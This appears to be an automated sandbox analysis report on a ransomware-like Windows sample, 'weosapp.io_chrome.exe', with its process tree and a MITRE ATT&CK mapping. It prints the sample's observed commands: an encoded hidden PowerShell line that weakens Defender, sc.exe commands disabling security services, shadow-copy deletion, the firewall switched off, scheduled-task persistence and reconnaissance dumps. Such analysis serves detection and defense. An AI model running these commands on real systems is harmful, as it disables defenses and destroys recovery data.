PID 2924 wrote to memory of 4996	2924	weosapp.io_chrome.exe	133
PID 2924 wrote to memory of 1348	2924	weosapp.io_chrome.exe	151
PID 2924 wrote to memory of 2012	2924	weosapp.io_chrome.exe	139
PID 2924 wrote to memory of 1212	2924	weosapp.io_chrome.exe	141
PID 2924 wrote to memory of 2136	2924	weosapp.io_chrome.exe	143
PID 4896 wrote to memory of 264	4896	chrome.exe	146
PID 4896 wrote to memory of 3324	4896	chrome.exe	147
PID 4896 wrote to memory of 6036	4896	chrome.exe	148
PID 2924 wrote to memory of 1424	2924	weosapp.io_chrome.exe	149
PID 2924 wrote to memory of 1348	2924	weosapp.io_chrome.exe	151
PID 2924 wrote to memory of 2456	2924	weosapp.io_chrome.exe	153
PID 2924 wrote to memory of 4464	2924	weosapp.io_chrome.exe	155
PID 2924 wrote to memory of 4368	2924	weosapp.io_chrome.exe	156
PID 2924 wrote to memory of 4556	2924	weosapp.io_chrome.exe	157
PID 2924 wrote to memory of 2060	2924	weosapp.io_chrome.exe	158
PID 2924 wrote to memory of 1744	2924	weosapp.io_chrome.exe	159
PID 2924 wrote to memory of 4008	2924	weosapp.io_chrome.exe	160
PID 2924 wrote to memory of 2836	2924	weosapp.io_chrome.exe	164
PID 1424 wrote to memory of 576	1424	net.exe	171
PID 2924 wrote to memory of 2488	2924	weosapp.io_chrome.exe	169
PID 2924 wrote to memory of 2448	2924	weosapp.io_chrome.exe	170
PID 2924 wrote to memory of 1896	2924	weosapp.io_chrome.exe	172
PID 4556 wrote to memory of 108	4556	cmd.exe	175
PID 4368 wrote to memory of 4720	4368	cmd.exe	176
PID 4008 wrote to memory of 2608	4008	cmd.exe	177
PID 1744 wrote to memory of 352	1744	cmd.exe	178
PID 4464 wrote to memory of 2308	4464	cmd.exe	179
PID 1348 wrote to memory of 4140	1348	cmd.exe	180
PID 2060 wrote to memory of 1456	2060	cmd.exe	181
PID 1456 wrote to memory of 5828	1456	net.exe	185
PID 1348 wrote to memory of 756	1348	cmd.exe	183
PID 4896 wrote to memory of 5828	4896	chrome.exe	185
PID 4896 wrote to memory of 4044	4896	chrome.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://weosapp.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x104,0x138,0x7ffe2c99c728,0x7ffe2c99c734,0x7ffe2c99c740
    3⤵
    PID:3452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,2535867524386279463,5123929259721499987,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,5539336955365404119,16524582381267792516,262144 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:2
    3⤵
    PID:3388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2032,i,565457253962584553,10007829209583192081,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:13
    3⤵
    PID:3540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,1391205530378225403,15370532909787268093,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,114874050128587336,6004653461498483276,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:2336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,5305137593222067447,4416303746494591992,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:5924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4812,i,18291333512582595164,1470937519889731248,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:1
    3⤵
    PID:3312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3480,i,11966996575942815566,11375649640817302250,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:14
    3⤵
    PID:264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3256,i,6637797673533370430,1691126033240415694,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:14
    3⤵
    PID:3324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3260,i,9352667446629363460,6326771884537158384,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
    3⤵
    PID:6036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5492,i,13185716397913794904,11169807021413661251,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
    3⤵
    PID:5828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5504,i,3819878471031203625,17444078612712152852,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:1
    3⤵
    PID:4044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5572,i,16304864561149565196,9399241604465602459,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
    3⤵
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5832,i,3079431531652772601,14391342108912651995,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:1
    3⤵
    PID:4596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5108,i,17299893739798198393,12650528897572633357,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:14
    3⤵
    PID:1904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5052,i,12380706138063750099,14052119842325870164,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:1
    3⤵
    PID:3016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6096,i,7225290194323951422,10057677264008693110,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:1
    3⤵
    PID:1912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5988,i,16253040524196980701,12322057106185370648,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=3864 /prefetch:1
    3⤵
    PID:928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5564,i,16061494563658111048,17864204026798955906,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
    3⤵
    PID:5308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,15950870187627088897,13739833802520050898,524288 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:14
    3⤵
    PID:1492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6136,i,10503791480879248739,10961710374792929679,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:1
    3⤵
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6080,i,13458504581912576066,16102892312309624860,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:1
    3⤵
    PID:1220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=4928,i,7032475094246990088,14750455728442175790,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:9
    3⤵
    PID:6064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=4848,i,8188184973479193260,12363812285488831751,2097152 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:1
    3⤵
    PID:5832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5104,i,13551103959646968191,12781762590390347822,262144 --field-trial-handle=2468,i,6207929978464660300,18344427790303872584,262144 --variations-seed-version --mojo-platform-channel-handle=892 /prefetch:10
    3⤵
    PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5680
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe"
    3⤵
    PID:1208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2876
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3360
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4124
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4996
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1348
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2012
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1212
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2136
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4140
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:756
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2608
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2836
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2488
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1896
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5924

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3992

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4040

C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
1⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\weosapp.io_chrome.exe
1⤵
PID:5476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery